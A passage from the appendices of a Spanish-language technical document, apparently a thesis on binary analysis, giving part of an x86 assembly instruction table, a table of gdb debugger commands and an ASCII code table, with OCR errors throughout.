dec Decremento 1 al contenido de registro

sub Resta el operando destino al operando
fuente

jmp Realiza un salto de ejecucion

incondicional hacia una direccion
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jne

%esp

out

Realiza un salto de ejecucion
incondicional, si las comparaciones no

son iguales o si no son cero, realiza el

salto.

Apuntador de pila, este es el registro
cuyo contenido cambia mientras se

ejecuta el procedimiento

Llamar procedimientos

Lleva informacion a un puerto

Introducir valores aun registro
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ANEXO F

OPCIONES COMANDO GDB
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Ya dentro del gdb podemos utilizar algunas opciones para analizar nuestro binario

entre las cuales tenemos:[17]

Tabla 6 Opciones de Comando gdb

COMANDO

DESCRIPCION

Break *direccion

Break(nombre de funcion)

Crea un punto de quiebre con una

direccién o una funcion especifica.

Delete Elimina todo los breakpoints.

Stepi Ejecuta una instruccion.

Nexti Ejecuta una instruccion pero es mas
utilizado para funciones.

Continue Continla con la ejecucion de un
ejecutable.

Finish Ejecuta hasta el final de la funcion

ejecutada.

Disassemble

Muestra el desmontaje de la instruccion.

Print [arg] direccién

Muestra informacion de las direcciones.

X

Examina cada argumento

info files

Muestra informacion de los archivos que

estan en uso.

Infobreakpoints

Muestra los breakpoints y sus estados
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Inforegisters Muestra el contenido de los registros

Infosharedlibrary Informacion acerca de las librerias

cargadas
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ANEXO G

TABLA ASCII
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Tabla 7 Tabla de C4digo ASCII

Tabla de c6digos ASCII - Formato de caracteres estandares

ASCIl | Hex | Simbolo | ASCII | Hex | Simbolo | ASCII | Hex | Simbolo | ASCII | Hex | Simbolo

0 0 NUL 16 | 10 DLE 32 | 20 |(espacio)| 48 | 30 0
1 1 SOH 17 | 11 DC1 33 | 21 ! 49 | 31 1
2 2 STX 18 | 12 DC2 34 | 22 " 50 | 32 2
3 3 ETX 19 | 13 DC3 35 | 23 # 51 | 33 3
4 4 EOT 20 | 14 DC4 36 | 24 S 52 | 34 4
5 5 ENQ 21 | 15 NAK 37 | 25 % 53 | 35 5
6 6 ACK 22 | 16 SYN 38 | 26 & 54 | 36 6
7 7 BEL 23 | 17 ETB 39 | 27 ' 55 | 37 7
8 8 BS 24 | 18 CAN 40 | 28 ( 56 | 38 8
9 9 TAB 25 | 19 EM 41 | 29 ) 57 | 39 9
10 A LF 26 | 1A SUB 42 | 2A * 58 | 3A :
11 B VT 27 | 1B ESC 43 | 2B + 59 | 3B ;
12 C FF 28 | 1C FS 44 | 2C ) 60 | 3C <
13 D CR 29 | 1D GS 45 | 2D - 61 | 3D =
14 E SO 30 | 1E RS 46 | 2E . 62 | 3E >
15 F S 31 | 1F us 47 | 2F / 63 | 3F ?

ASCII | Hex | Simbolo | ASCII | Hex | Simbolo | ASCII | Hex | Simbolo | ASCII | Hex | Simbolo

64 | 40 @ 80 | 50 P 9% | 60 ‘ 112 | 70 p
65 | 41 A 81 | 51 Q 97 | 61 a 113 | 71 q
66 | 42 B 82 | 52 R 98 | 62 b 114 | 72 r
67 | 43 C 83 | 53 S 99 | 63 c 115 | 73 s
68 | 44 D 84 | 54 T 100 | 64 d 116 | 74 t
69 | 45 E 85 | 55 U 101 | 65 e 117 | 75 u
70 | 46 F 86 | 56 Vv 102 | 66 f 118 | 76 v
71 | 47 G 87 | 57 w 103 | 67 g 119 | 77 w
72 | 48 H 88 | 58 X 104 | 68 h 120 | 78 X
73 | 49 | 89 | 59 Y 105 | 69 i 121 | 79 y
74 | 4A J 90 | 5A Z 106 | 6A j 122 | 7A z
75 | 48 K 91 | 5B [ 107 | 6B k 123 | 7B {
76 | 4cC L 92 | 5¢C \ 108 | 6C | 124 | 7€ |
77 | 4D M 93 | 5D ] 109 | 6D m 125 | 7D }
78 | 4E N 94 | 5E A 110 | 6E n 126 | 7E ~
79 | 4F 0 95 | SF 111 | 6F 0 127 | 7F O
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